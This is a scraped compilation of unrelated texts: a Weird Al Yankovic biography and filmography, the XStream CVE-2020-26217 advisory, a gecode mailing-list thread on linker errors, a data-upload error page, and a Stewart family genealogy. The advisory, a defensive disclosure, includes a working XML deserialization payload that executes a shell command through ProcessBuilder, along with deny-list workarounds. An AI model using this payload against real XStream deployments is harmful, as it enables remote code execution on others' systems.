Alfred Matthew "Weird Al" Yankovic is an American singer-songwriter, record producer, satirist, film producer, and author. He is known for his humorous songs that make light of popular culture and often parody specific songs by contemporary musical acts, original songs that are style pastiches of the work of other acts, and polka medleys of several popular songs, featuring his favored instrument, the accordion.
Since his first-aired comedy song in 1976, he has sold more than 12 million albums (as of 2007), recorded more than 150 parody and original songs, and performed more than 1,000 live shows. His works have earned him four Grammy Awards and a further eleven nominations, four gold records, and six platinum records in the United States. Yankovic's first top ten Billboard album (Straight Outta Lynwood) and single ("White & Nerdy") were both released in 2006, nearly three decades into his career. His latest album, Mandatory Fun (2014), became his first number-one album during its debut week.
Yankovic's success comes in part from his effective use of music video to further parody popular culture, the song's original artist, and the original music videos themselves, scene-for-scene in some cases. He directed later videos himself and went on to direct for other artists, including Ben Folds, Hanson, The Black Crowes, and The Presidents of the United States of America. With the decline of music television and the onset of social media, Yankovic used YouTube and other video sites to publish his videos; this strategy proved integral, helping to boost sales of his later albums, including Mandatory Fun. Yankovic has stated that he may forgo traditional albums in favor of timely releases of singles and EPs following on this success.
In addition to recording his albums, Yankovic wrote and starred in the film UHF (1989) and the television series The Weird Al Show (1997). He has also made guest appearances and performed voice acting roles on many television shows and video web content, in addition to starring in Al TV specials on MTV. He has also written two children's books, When I Grow Up and My New Teacher and Me!.
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| Year | Title | Role | Notes |
|---|---|---|---|
| 1988 | Tapeheads | Himself | |
| 1988 | The Naked Gun: From the Files of Police Squad! | Himself | |
| 1989 | UHF | George Newman | Also screenwriter |
| 1991 | The Naked Gun 2½: The Smell of Fear | Police Station Thug | |
| 1994 | Naked Gun 33⅓: The Final Insult | Himself | |
| 1996 | Spy Hard | Himself | |
| 1997 | Safety Patrol | Himself | |
| 2000 | Nothing Sacred | Clothing Store Customer | |
| 2002 | Desperation Boulevard | Himself | |
| 2003 | Haunted Lighthouse | Waiter | |
| 2009 | Halloween II | Himself | |
| 2009 | Al's Brain | Himself / Phineaus Cage | Short film |
| 2015 | Batman vs. Robin | The Dollmaker | Voice |
| 2016 | Popstar: Never Stop Never Stopping | Hammerleg Lead Singer | |
| 2017 | Sandy Wexler | Himself | |
| 2017 | How to Be a Latin Lover | Himself |


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CVE-2020-26217
Vulnerability
CVE-2020-26217: XStream can be used for Remote Code Execution.
Affected Versions
All versions until and including version 1.4.13 are affected, if using the version out of the box. No user is affected, who followed the recommendation to setup XStream's security framework with a white list.
Description
The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that can execute arbitrary shell commands.
This issue is a variation of CVE-2013-7285, this time using a different set of classes of the Java runtime environment, none of which is part of the XStream default blacklist. The same issue has already been reported for Strut's XStream plugin in CVE-2017-9805, but the XStream project has never been informed about it.
Steps to Reproduce
Create a simple HashMap and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream:
<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'> <dataHandler> <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> <contentType>text/plain</contentType> <is class='java.io.SequenceInputStream'> <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'> <iterator class='javax.imageio.spi.FilterIterator'> <iter class='java.util.ArrayList$Itr'> <cursor>0</cursor> <lastRet>-1</lastRet> <expectedModCount>1</expectedModCount> <outer-class> <java.lang.ProcessBuilder> <command> <string>calc</string> </command> </java.lang.ProcessBuilder> </outer-class> </iter> <filter class='javax.imageio.ImageIO$ContainsFilter'> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>start</name> </filter> <next/> </iterator> <type>KEYS</type> </e> <in class='java.io.ByteArrayInputStream'> <buf></buf> <pos>0</pos> <mark>0</mark> <count>0</count> </in> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <string>test</string> </entry> </map>
XStream xstream = new XStream(); xstream.fromXML(xml);
As soon as the XML gets unmarshalled, the payload gets executed.
In a similar, but simpler scenario the javax.imageio.ImageIO.ContainsFilter is injected into an java.util.Iterator instance and the payload is executed as soon as the iterator's next method is called.
Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.
Impact
The vulnerability may allow a remote attacker to run arbitrary shell commands only by manipulating the processed input stream.
Workaround
As recommended, use XStream's security framework to implement a white list for the allowed types.
Users of XStream 1.4.13 who want to use XStream default black list can simply add two lines to XStream's setup code:
xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter" }); xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });
Users of XStream 1.4.12 to 1.4.7 who want to use XStream with a black list will have to setup such a list from scratch and deny at least the following types: javax.imageio.ImageIO$ContainsFilter, java.beans.EventHandler, java.lang.ProcessBuilder, java.lang.Void and void.
xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter" }); xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class, java.beans.EventHandler.class, java.lang.ProcessBuilder.class, java.lang.Void.class, void.class });
Users of XStream 1.4.6 or below can register an own converter to prevent the unmarshalling of the currently know critical types of the Java runtime. It is in fact an updated version of the workaround for CVE-2013-7285:
xstream.registerConverter(new Converter() { public boolean canConvert(Class type) { return type != null && (type == java.beans.EventHandler.class || type == java.lang.ProcessBuilder.class || type == java.lang.Void.class || void.class || type.getName().equals("javax.imageio.ImageIO$ContainsFilter") || Proxy.isProxy(type)); } public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) { throw new ConversionException("Unsupported type due to security reasons."); } public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) { throw new ConversionException("Unsupported type due to security reasons."); } }, XStream.PRIORITY_LOW);
Credits
Chen L found and reported the issue to XStream and provided the required information to reproduce it. He was supported by Zhihong Tian and Hui Lu, both from Guangzhou University.


[gecode-users] Installation
Fabien Brosseau
brosseaufabien at gmail.com
Tue Sep 13 16:52:53 CEST 2016
Hello Chrsitian,
I managed to make it work using g++ command as they are told in the
documentation.
But It stills not working in the Qt project. I have errors like that (more
than 300 errors) :
undefined reference to 'Gecode::SizeOptions::SizeOptions(char const*)'
but i have set the path to headers and libs :
INCLUDEPATH += /usr/local/include
LIBS += -L/usr/local/lib
-lgecodeflatzinc
-lgecodedriver
-lgecodegist
-lgecodesearch
-lgecodeminimodel
-lgecodeset
-lgecodefloat
-lgecodeint
-lgecodekernel
-lgecodesupport
Anyway it seems more like a problem of qt configuration project than a
gecode problem.
Thanks for your time and your help.
2016-09-09 10:20 GMT+02:00 Christian Schulte <cschulte at kth.se>:
> Did you follow the instructions in MPG? If not, please send me the version
> of your gcc and the exact error message.
>
>
>
> The thing is: the 4.4.0 version has been installed on Linux several
> thousand times and should work like a charm.
>
>
>
> Cheers
>
> Christian
>
>
>
> PS: Always include the mailing list.
>
>
>
> --
>
> Christian Schulte, www.gecode.org/~schulte
>
> Professor of Computer Science, KTH, cschulte at kth.se
>
> Expert Researcher, SICS, cschulte at sics.se
>
>
>
> *From:* Fabien Brosseau [mailto:brosseaufabien at gmail.com]
> *Sent:* Thursday, September 8, 2016 21:52
> *To:* Christian Schulte <cschulte at kth.se>
> *Subject:* Re: [gecode-users] Installation
>
>
>
> Hi Christian,
>
> I have downloaded the 4.4.0 version. All the building and install step
> work fine.
>
> I have modified the include path to:
> /usr/local/include
>
> and the lib path to
> /usr/local/lib
>
> I took a cpp file from the examples (nonogram) but i still get the same
> errors.
>
>
>
> 2016-09-06 9:03 GMT+02:00 Christian Schulte <cschulte at kth.se>:
>
> Hi,
>
>
>
> This is a seriously outdated version and we will not really follow up on
> how Ubuntu has packaged Gecode. So, please download the latest version from
> the Gecode webpages. You have to compile it yourself, however that’s easy
> and explained in MPG.
>
>
>
> Best
>
> Christian
>
>
>
> --
>
> Christian Schulte, www.gecode.org/~schulte
>
> Professor of Computer Science, KTH, cschulte at kth.se
>
> Expert Researcher, SICS, cschulte at sics.se
>
>
>
> *From:* Fabien Brosseau [mailto:brosseaufabien at gmail.com]
> *Sent:* Monday, September 5, 2016 21:05
> *To:* cschulte at kth.se
> *Subject:* Re: [gecode-users] Installation
>
>
>
> and the gecode version installed is 4.2.1-1
>
>
>
> 2016-09-05 21:03 GMT+02:00 Fabien Brosseau <brosseaufabien at gmail.com>:
>
> I install it using apt-get install.
>
> Headers are in "/usr/include/gecode" and .so files are in
> "/usr/lib/x86_64-linux-gnu".
>
> .so files have the following name for example : libgecodesearch.so
>
>
>
> So in the .pro file I have added :
>
> INCLUDEPATH += /usr/include
>
> LIBS += -L"/usr/lib/x86_64-linux-gnu"
>
> -llibgecodeflatzinc
>
> -llibgecodedriver
>
> -llibgecodegist
>
> -llibgecodesearch
>
> -llibgecodeminimodel
>
> -llibgecodeset
>
> -llibgecodefloat
>
> -llibgecodeint
>
> -llibgecodekernel
>
> -llibgecodesupport
>
> And the error that I have is : undefined reference to
> 'Gecode::Search::Options::def'
>
> I am trying to run the sendMoreMoney example.
>
> I have also tried the following format for LIBS :
> -L"/usr/lib/x86_64-linux-gnu/lib"
> -lgecodeflatzinc
> -lgecodedriver
> -lgecodegist
> -lgecodesearch
> -lgecodeminimodel
> -lgecodeset
> -lgecodefloat
> -lgecodeint
> -lgecodekernel
> -lgecodesupport
>
> I have also set LD_LIBRAY_PATH but no success ...
>
>
>
> 2016-09-04 11:22 GMT+02:00 Christian Schulte <cschulte at kth.se>:
>
> Hi,
>
>
>
> The windows errors seem to indicate that you installed a package for x86
> but use a x64 compiler.
>
>
>
> On Linux: are you sure that you have installed all necessary Qt packages?
>
>
>
> Did you read the information on how to install Gecode in MPG?
>
>
>
> Best
>
> Christian
>
>
>
> --
>
> Christian Schulte, www.gecode.org/~schulte
>
> Professor of Computer Science, KTH, cschulte at kth.se
>
> Expert Researcher, SICS, cschulte at sics.se
>
>
>
> *From:* users-bounces at gecode.org [mailto:users-bounces at gecode.org] *On
> Behalf Of *Fabien Brosseau
> *Sent:* Saturday, September 3, 2016 20:58
> *To:* users at gecode.org
> *Subject:* [gecode-users] Installation
>
>
>
> Hello everyone,
>
> I am trying to use Gecode for a little project but i am not able to make
> it work.
>
> On windows 7 (64 bits) :
>
> i am trying to use it with a Code::Blocks project. But when I try to
> compile a project with an example file, I have some errors :
>
> - header not working in "x86gcc_rounding_control.hpp" file "This
> header only works on x86 CPUs" -> so why it's called ?
> - "_forceinline" which doesn't name a type
>
>
>
> On Ubuntu 14.04 :
>
> i get the gecode package and i tried to use it in a qt project.
>
> I have set INCLUDEPATH and LIBS (files are not installed where
> documentation said) but I still have undefined reference errors.
>
>
>
>
>
>
>
>
>
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Make corrections to parameter
Before you can send <filename> you need to make these corrections:
You must give the agreed name for the chemical or substance you’re monitoring - exactly as given in the EA controlled list of parameters.
See the full EA controlled list for allowable parameters.
| Error | Rows |
|---|---|
| "Gas comments" | 639–642 |
| "BH comments" | 1597–1644 |
| "No Dip Comment" | 2172–2175 |
| "Alkalinity CaCO3" | 2176–2209 |
| "Chromium - Total Unfiltered" | 2735–2745 |
| "Ethyl benzene" | 2757–2790 |
| "Nickel - Total Unfiltered" | 3030–3040 |
| "No Sample Comment" | 3041–3073 |
| "Lead - Total Unfiltered" | 3074–3084 |
| "Zinc - Total Unfiltered)" | 3410–3980 |
| "Visible oil & grease" | 3981–4303 |
| "Cover Level (mAOD)" | 4304–4531 |


Descendants of Daniel Stewart
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There are two theories
regarding the father of the four Stewart men identified as brothers in Greene
County, Pennsylvania. Harold Leckey in The
TenMile Country claims their father was Daniel Stewart, an Indian trader in
western Pennsylvania. A second theory
claims the father is John Stewart born 1740 in Scotland. This is based on a statement in a history of
Monongalia County, West Virginia, which identifies the father of Isaac Stewart
as the above John.
Mr. Stewart was married to \ Mrs. Stewart. Mr. Stewart and \ Mrs. Stewart had the following children:
I. Daniel
STEWART was born before 1765. He
died about 1816 in Greene County, PA. Children
were named in the will of Daniel Stewart.
His wife was not named. Daniel's
will listed a brother-in-law William Hickman.
Daniel STEWART
and wife had the following children:
A. Samuel
STEWART was born between 1770 and 1780.
He died ca 1871 in Greene County, PA.
B. William
STEWART was born between 1775 and 1780 in probably Pennsylvania. He died between 1840 and 1850 in Monroe
County, OH.
THIS
IS THEORY.  Other possible children of William and Neoma are: Penelope (see History
of Greene County, PA), Uriah (see naming pattern of children), Asa.
Neoma
was born between 1780 and 1790. She
died between 1833 and 1837 in Monroe County, OH. William STEWART and Neoma had the following children:
1. Daniel STEWART was born on January 20, 1810 in
Pennsylvania. He died on September 15,
1886 in Lee Township, Monroe County, Ohio.
He was buried in Mt. Olive Cemetery, Lee Township, Monroe County, Ohio.
Mary (Possibly Belford) was born in
1815 in Pennsylvania. She died between
1852 and 1856. She may have been a
sister to Daniel s second wife, Rachel.
Daniel STEWART and Mary Possibly Belford had the following children:
a.
Isaac STEWART was born on February 25, 1839 in Monroe County, OH. He died on April 29, 1893. Death date from tombstone inscription. Cemetery records of Gilmer County, WV--could
not find a death record in county. Jane
Norman (daughter of Richard Norman and Rebecca Sill) died on April 3,
1916. Isaac STEWART and Jane Norman had
the following children:
i.
Elmer STEWART was born on October 23, 1863 in Monroe County, Ohio. He died on May 5, 1930. He was buried in Nobe Cemetery, Calhoun
County, WV.
ii.
Rebecca Evaline STEWART was born on May 3, 1865 in Monroe County,
Ohio. She died on March 31, 1904. She was buried in Gilmer County, WV.
iii.
Mary Belle STEWART was born in 1868 in Jackson Township, Monroe County,
OH.
Mary
Belle STEWART was married to Del Woodford.
Mary Belle STEWART and Del Woodford had the following children:
(1)
Lillie Woodford.
Lillie
Woodford was married to John K. Ferguson.
b.
Elizabeth STEWART was born on July 13, 1840
in Monroe County, OH. She died on
August 24, 1890 in Lee Township, Monroe County, Ohio. She was buried in Mt. Olive Cemetery, Lee Township, Monroe
County, OH.
Elizabeth
STEWART was married to Daniel S.
SCHOONOVER (son of John SCHOONOVER
and Margaret (Mary) SHUMAN) on April 18,
1861 in Monroe County, OH. Daniel S.
SCHOONOVER was born on May 2, 1836 in Monroe County, OH. He died June 20, 1912 in Sardis, Monroe
County, Ohio.
Elizabeth STEWART and Daniel S. SCHOONOVER
had the following children:
i.
Eliza Jane "Jenny" SCHOONOVER was born on January 31, 1862 in
Monroe County, OH. She died on May 26,
1913 in Sistersville, Tyler County, WV.
Eliza
Jane "Jenny" SCHOONOVER was married to Franklin HOSKINSON on June 20,
1880 in Monroe County, OH. Eliza Jane
"Jenny" SCHOONOVER and Franklin HOSKINSON had the following children:
(1)
William H. HOSKINSON was born on April 5, 1881 in Lee Township, Monroe
County, Ohio.
(2)
Mary E. HOSKINSON was born on June 26, 1884 in Lee Township, Monroe
County, Ohio.
(3)
Lora N. HOSKINSON was born on September 30, 1885 in Lee Township, Monroe
County, Ohio.
ii.
David Henry SCHOONOVER was born on October 12, 1866 in Monroe County,
OH. He died on August 3, 1949 in Lee
Township, Monroe County, Ohio. He was
buried in Mt. Olive, Lee Township, Monroe County, Ohio.
David
Henry SCHOONOVER was married to Alice SOLE on April 16, 1893 in Monroe County,
OH. Alice SOLE was born on June
29, 1871 in Monroe County, OH.
iii.
George Edward SCHOONOVER was born on July 21, 1868 in Monroe County,
OH. He died on May 21, 1947 in Wetzel
County, WV. He was buried in Mt. Olive,
Lee Township, Monroe County, Ohio.
George
Edward SCHOONOVER was married to Edna JONES (daughter of Thomas Alonzo Jones
and Missouri Bolen) on August 20, 1910 in Monroe County, OH. Edna JONES was born on February 10,
1894. She died on June 27, 1937. She was buried in Mt. Olive, Lee Township,
Monroe County, Ohio.
iv.
Mary Miranda SCHOONOVER was born on February 3, 1870 in Monroe County,
OH. She died on October 14, 1941 in
Paden City, Tyler County, WV.
Mary
Miranda SCHOONOVER and Joseph HOWELL had the following children:
(1)
Ernest HOWELL was born on March 27, 1892 in Sardis, Monroe County,
OH. He died on April 20, 1970 in
Ashland, Ohio.
Ernest
HOWELL was married to Florence Lawrence on June 12, 1923.
(2)
Goldie HOWELL was born on June 16, 1895 in Sardis, Monroe County,
OH. She died on May 2, 1964 in
Barberton, Ohio.
Goldie
HOWELL was married to Richard Haught on April 23, 1927.
(3)
Brady HOWELL was born on March 16, 1898 in Sardis, Monroe County, OH.
Brady
HOWELL was married to Stella Young on April 27, 1922.
(4)
Mabel HOWELL was born on March 29, 1905. She died.
Mabel
HOWELL was married to O. Clarence Brewer on December 21, 1940.
v.
William Thomas SCHOONOVER was born on June 24, 1871 in Monroe County,
OH. He died on July 7, 1907 in Sardis,
Monroe County, Ohio.
vi.
John Cyrus SCHOONOVER was born on November 2, 1873 in Monroe County,
OH. He died on January 4, 1907 in
Sardis, Monroe County, Ohio. In 1890
lived Tulane, Spink County, Dakota
vii.
Sarah Melina "Mel" SCHOONOVER was born on November 24, 1874 in
Monroe County, OH. She died on July 22,
1947 in Monroe County, OH. She was
buried in Mt. Olive Cemetery, Lee Township, Monroe County, Ohio.
Sarah Melina "Mel" SCHOONOVER
was married to William Thomas HAYES (son of Samuel
Hayes and Susan Billiter)
on February 18, 1894 in Monroe County, OH.
William Thomas HAYES was born on August 27, 1867 in Monroe County,
OH. He died on July 24, 1950 in Monroe
County, OH. He was buried in Mt. Olive,
Lee Township, Monroe County, Ohio.
Sarah Melina
"Mel" SCHOONOVER and William Thomas HAYES had the following children:
(1)
Harry Edward HAYES was born on December 13, 1894 in Lee Township, Monroe
County, Ohio. He died on June 1, 1984
in Marietta, Washington County, OH. He
was buried on June 3, 1984 in Mt. Olive, Lee Township, Monroe County, Ohio.
(2)
Eva May "Kate" HAYES was born on June 27, 1896 in Lee
Township, Monroe County, Ohio. She died
on March 28, 1963 in Jackson Township, Monroe County, Ohio. She was buried in Mt. Olive Cemetery, Lee Township,
Monroe County, OH.
Eva
May "Kate" HAYES was married to Fred
William JONES (son of Samuel Grimshaw
JONES and Mary Belle RUSH)
on June 4, 1918 in Monroe County, OH.
Fred William JONES was born on November 8, 1896 in Jackson Township,
Monroe County, Ohio. He died on July 6,
1967 in Wheeling Hospital, Ohio County, WV.
He was buried in Mt. Olive Cemetery, Lee Township, Monroe County, Ohio.
(3)
Anna Pearl HAYES was born on September 13, 1898 in Lee Township, Monroe
County, Ohio. She died on February 15,
1989 in New Martinsville, Wetzel County, WV.
She was buried on February 17, 1989 in Mt. Olive, Lee Township, Monroe
County, Ohio.
viii.
Wilhemenia Carline SCHOONOVER was born on July 10, 1876 in Monroe
County, OH. She died on December 7,
1947 in Tyler County, WV.
Wilhemenia
Carline SCHOONOVER was married to J. D. GILKEY on June 8, 1925 in Tyler County,
WV.
ix.
James Foster SCHOONOVER was born on May 24, 1880 in Monroe County,
OH. He died in 1969.
c.
Frances STEWART was born in 1841 in Monroe County, OH. Marriage License in 1873 Monroe County
Frances Stewart to Charles Ferris, no
return.
d.
Sarah Ann STEWART was born on April 27, 1844 in Monroe County, OH. She died on June 28, 1920 in Sardis, Monroe
County, Ohio. She was buried on June
30, 1920 in West Union Cemetery, Perry Township, Monroe County, Ohio.
Joseph
HUFFMAN was born in 1846. He died
in 1924. Sarah Ann STEWART and Joseph
HUFFMAN had the following children:
i.
Mary L. HUFFMAN was born in 1868.
ii.
Philip E. HUFFMAN was born in 1870.
iii.
Daniel Ellsworth HUFFMAN was born on February 3, 1872 in Monroe County,
Ohio. He died on December 2, 1948 in
Lee Township, Monroe County, Ohio. He
was buried in West Union Cemetery, Perry Township. Monroe County, Ohio.
Nancy
Belle Price was born in 1872. She
died in 1959. Daniel Ellsworth HUFFMAN
and Nancy Belle Price had the following children:
(1)
Minnie HUFFMAN.
(2)
Homer HUFFMAN.
(3)
Charles HUFFMAN.
(4)
Hazel HUFFMAN was born on September 6, 1911 in Benwood, Monroe County,
Ohio.
iv.
Sarah Ellen HUFFMAN was born on May 17,
1877 in Benwood, Monroe County, Ohio.
She died on April 23, 1962 in Fly, Monroe County, Ohio. She was buried on April 26, 1962 in Locust
Grove, Jackson Township, Monroe County, Ohio. Sarah Ellen HUFFMAN was married
to Henry Carr on October 1, 1898 in Monroe County,
Ohio. Sarah Ellen HUFFMAN and Henry
Carr had the following children:
(1)
Eva Carr was born in 1900.
Eva
Carr was married to Herbert Ritchie
(son of Conrad RITCHIE and Iva
Ellen RUSH).
Herbert Ritchie was born in 1896.
He died in 1941. He was buried
in Locust Grove, Jackson Township, Monroe County, Ohio.
(2)
Ralph Carr.
(3)
Anna Carr. Anna Carr was married to Edinger.
v.
Joseph E. HUFFMAN was born on June 20, 1880 in Lee Township, Monroe
County, Ohio.
vi.
Florence M. HUFFMAN was born on March 19, 1882 in Lee Township, Monroe
County, Ohio.
e.
Rachel STEWART was born in 1846 in Monroe County, OH. She does not appear in the 1860 census.
f.
William STEWART was born in 1848 in Monroe County, OH. He died on February 21, 1930 in Woodsfield,
Monroe County, Ohio. He was buried on
February 23, 1930 in County Infirmary Cemetery, Woodsfield, OH.
g.
John Wesley STEWART was born on June 12, 1848 in Jackson Township,
Monroe County, OH. He died on December
27, 1926 in Wheeling, Ohio County, WV.
He was buried in Mt. Olive, Lee Township, Monroe County, Ohio.
John
Wesley STEWART was married to Mary Jane WILSON on September 28, 1872 in Monroe
County, OH. Mary Jane WILSON was
born in 1853. She died in 1919. John Wesley STEWART and Mary Jane WILSON had
the following children:
i.
William Clem STEWART was born on January 23, 1874 in Sardis, Monroe
County, Ohio. He died on May 27, 1955
in Sardis, Monroe County, Ohio. He was
buried on May 29, 1955 in Mt. Olive Cemetery, Lee Township, Monroe County,
Ohio. He married Cora Mae
Bennet. She was born on January 14,
1884. She died on December 7, 1969.
ii.
Daniel Webster STEWART was born on February 8, 1877 in Sardis, Monroe
County, Ohio. He died on December 5,
1973 in Woodsfield, Monroe County, Ohio.
He was buried on December 8, 1973 in Mt. Olive Cemetery, Lee Township,
Monroe County, Ohio. He married Mollie Hendershot. She was born on
January 22, 1884. She died on August
19, 1967. Daniel Webster STEWART and
Mollie Hendershot had the following children:
(1)
Oscar A. STEWART was born on November 28, 1907 in Jackson Township,
Monroe County, OH.
(2)
Della STEWART was born on December 10, 1914 in Sardis, Monroe County,
OH. She died on June 11, 2003 in East
Ohio Regional Hospital, Martins Ferry, Ohio. Della
STEWART was married to Leo M. Day.
Leo M. Day died before 2003.
(3)
Viola STEWART.
(4)
Female STEWART married Floyd Ault.
(5)
John STEWART.
(6)
Chester STEWART.
(7)
Beryl STEWART.
iii.
Margaret STEWART was born on March 23, 1880 in Jackson Township, Monroe
County, OH. She died on January 14,
1943 in Wheeling, Ohio County, WV.
iv.
Charles Albert STEWART was born on September 28, 1881 in Pine Grove,
Wetzel County, WV. He died on May 26,
1974 in Sardis, Monroe County, Ohio. He
was buried on May 30, 1974 in Mt. Olive Cemetery, Lee Township, Monroe County,
Ohio.
v.
Mary Matilda STEWART was born on June 2, 1886 in Sardis, Monroe County,
Ohio. She died on January 19, 1952 in
Fly, Monroe County, Ohio. She married George
Conley. He was born on July 8,
1876. He died on January 9, 1961.
vi.
Anna Lucinda STEWART was born on October 17, 1888. She died on December 27, 1955. She married John Nelson. He was born
on May 9, 1888. He died on May 2,
1966.
vii.
Ella Mae STEWART was born on February 14, 1895 in Sardis, Monroe County,
Ohio. She died on January 21, 1962 in
Wheeling, Ohio County, WV. She married Albert Peterson. He was born on November 4, 1880. He died on June 25, 1970.
h.
James Monroe STEWART was born on March 24, 1852 in Monroe County,
OH. He died on March 14, 1927 in Pine
Grove, Wetzel County, WV. Since the
death date of Mary Stewart is unknown, James Monroe could be the son of Daniel
and second wife Rachel Belford. But it
seems more likely that he was the last child of Mary.
James
Monroe STEWART was married to Eliza Ellen CLARK on January 4, 1877 in Monroe County,
OH. James Monroe STEWART and Eliza
Ellen CLARK had the following children:
i.
Clara STEWART was born on August 15, 1879 in Monroe County, Ohio. She died on March 29, 1961 in Wetzel County,
WV.
Clara
STEWART was married to John T. Clark (son of George Robert Clark and Rhoda
Odom) on January 2, 1914. John T.
Clark died in 1943.
ii.
Frederick Clark STEWART was born on March 19, 1881 in Ohio. He died on December 24, 1942 in New
Martinsville, Wetzel County, WV. Frederick Clark Stewart married
Rhoda Elizabeth Moore (born about 1883 WV) on 02 Nov 1904 in WV and they had
two children, Ruby E. b abt 1907 WV and Ralph M. b abt 1916 WV. Frederick was buried
in Northview, Wetzel County, WV.
iii.
John H. STEWART was born in 1890 in Ohio.
iv.
Laura STEWART. Laura STEWART born in 1884 in Monroe
County, OH. She married M.
W. Slider.
v.
(Mrs. J. C. (Emma) Farr) STEWART.
Rachel BELFORD
was born in 1821 in OH. She died
on April 18, 1896 in Lee Township, Monroe County, Ohio. She was buried in Mt. Olive Cemetery, Lee
Township, Monroe County, OH. The 1850
census of Monroe County, Ohio, in the home of Daniel and Mary Stewart is Rachel
Stewart, 26. Death record of children
give mother's maiden name as Rachel Belford. 1870 census Mary Ackley is living
with Rachel and Daniel and listed as "living with daughter." Daniel STEWART and Rachel BELFORD had the
following children:
i.
Joseph G. STEWART was born in 1856 in Monroe County, OH. He died on May 30, 1937 in Monroe County,
OH. Joseph G. STEWART was married to Nancy "Matt" HENDERSHOT on
February 9, 1881 in Monroe County, OH.
Joseph G. STEWART and Nancy "Matt" HENDERSHOT had the
following children:
i.
Rachel STEWART was born.
ii.
Thomas M. STEWART was born on January 11, 1887 in Sardis Cemetery, Lee
Township, Monroe County, Ohio. He died
on September 14, 1960 in Barnesville, Belmont County,, OH. He was buried on September 17, 1960 in
Oaklawn Cemetery, Woodsfield, OH. He
married Lorena Mathews.
iii.
Laura I. STEWART was born on February 26, 1886 in Woodsfield, Monroe
County, Ohio. She died on September 3,
1974 in Wayne County, OH. She was
buried on September 6, 1974 in Rittman Cemetery, Wayne County, OH. She married Oliver David Hoskinson.
iv.
William STEWART.
v.
Othey Jefferson STEWART was born in February 1890.
vi.
Benjamin Franklin Stewart.
Benjamin Franklin Stewart was married to Hetty Billiter (daughter of
James William Billiter and Elizabeth Ann
Dennis).
vii.
John S. STEWART was born on September 5, 1893. He died on May 31, 1974.
viii.
James Edward STEWART was born on July 13, 1894 in Woodsfield, Monroe
County, Ohio. He died on June 26, 1990
in Weirton, WV. James Edward STEWART
was married to Dessie Billiter (daughter of James William Billiter and Elizabeth Ann Dennis). Dessie Billiter was born on March 31,
1889 in Tyler County, West Virginia, USA.
She died on December 27, 1971 in Sistersville, Tyler County, WV.
ix.
Emma Mae STEWART was born in 1898.
She died on December 16, 1986.
She married Sherman Billiter.
x.
Ida STEWART.
xi.
Ellie STEWART
j.
Harvey E. STEWART was born on May 22, 1857 in Lee Township, Monroe
County, OH. He died on December 26,
1946 in Monroe County, Ohio. He was
buried in Sardis Cemetery, Monroe County, Ohio.
Harvey
E. STEWART was married to Margaret JONES on November 21, 1880 in Monroe County,
OH. Margaret JONES was born in
1865. She died in 1924. She was buried in Sardis Cemetery, Lee
Township, Monroe County, Ohio. Harvey
E. STEWART and Margaret JONES had the following children:
i.
Alice E. STEWART was born in October 1881.
Alice
E. STEWART was married to Ernest E. RUSH
(son of John King RUSH and Julia
MELLOTT) on November 29, 1899 in Monroe County, OH. Ernest E. RUSH was born in April
1879. He died in 1962.
ii.
Thomas E. STEWART was born in January 1885.
iii.
Eva E. STEWART was born in October 1886.
iv.
Walter E. STEWART was born in October 1888.
v.
Ethel Jane STEWART was born on August 3, 1891 in Monroe County,
Ohio. She died on June 7, 1947 in
Monroe County, Ohio.
k.
Thomas M. STEWART was born in 1858 in Monroe County, OH. He doesn't appear in the 1870 census.
l.
Mary Jane STEWART was born in August 1861 in Monroe County, OH. She died in 1947. She was buried in West Union Cemetery, Monroe County, Ohio.
Mary
Jane STEWART was married to Millner RUBLE on November 20, 1881 in Monroe
County, OH. Millner RUBLE was
born on April 30, 1842. He died on
January 25, 1916. He was buried in West
Union Cemetery, Perry Township, Monroe County, Ohio. Mary Jane STEWART and Millner RUBLE had the following children:
i.
Albert L. RUBLE was born in August 1882. He died in 1927. He was
buried in West Union Cemetery, Monroe County, Ohio.
ii.
Grover C. RUBLE was born in August 1884. He died in 1969. He was
buried in West Union Cemetery, Monroe County, Ohio.
iii.
Laura RUBLE was born in January 1887.
She died in 1962. She was buried
in West Union Em, Monroe County, Ohio.
Laura
RUBLE was married to William Bruny on January 12, 1914 in Monroe County, Ohio.
iv.
Bertia W. RUBLE was born on October 25, 1889. She died on December 7, 1909.
She was buried in West Union Cemetery, Monroe County, Ohio.
v.
Bessie RUBLE was born in January 1893.
Bessie
RUBLE was married to Jesse Yoss on July 26, 1917 in Monroe County, Ohio.
vi.
Eunice Myrtle RUBLE was born in January 1895. She died in 1972. She was
buried in West Union Cemetery, Monroe County, Ohio.
vii.
Russell RUBLE was born in 1902.
He died in 1980. He was buried
in West Union Cemetery, Monroe County, Ohio.
Alice
Winland was born in 1903.
m.
Nancy E. STEWART was born on March 8, 1865 in
Lee Township, Monroe County, Ohio. She
died on March 29, 1918. She was buried
in Mt. Olive Cemetery, Lee Township, Monroe County, OH.
Nancy
E. STEWART was married to William Frederick Bruhy on June 7, 1885 in Monroe
County, Ohio. William Frederick Bruhy was born on September 25,
1862. He died on July 13, 1940. He was buried in Mt. Olive Cemetery, Lee
Township, Monroe County, OH. Nancy E.
STEWART and William Frederick Bruhy had the following children:
i.
Roy C. BRUHY was born on October 2, 1886. He died on July 26, 1956.
He was buried in Mt. Olive Cemetery, Lee Township, Monroe County, OH.
ii.
John U. BRUHY was born on June 14, 1888. He died on December 25, 1902.
iii.
Emma L. BRUHY was born in April 1890 in Monroe County, Ohio.
iv.
Clara I. BRUHY was born in September 1892 in Monroe County, Ohio.
v.
Austin BRUHY.
vi.
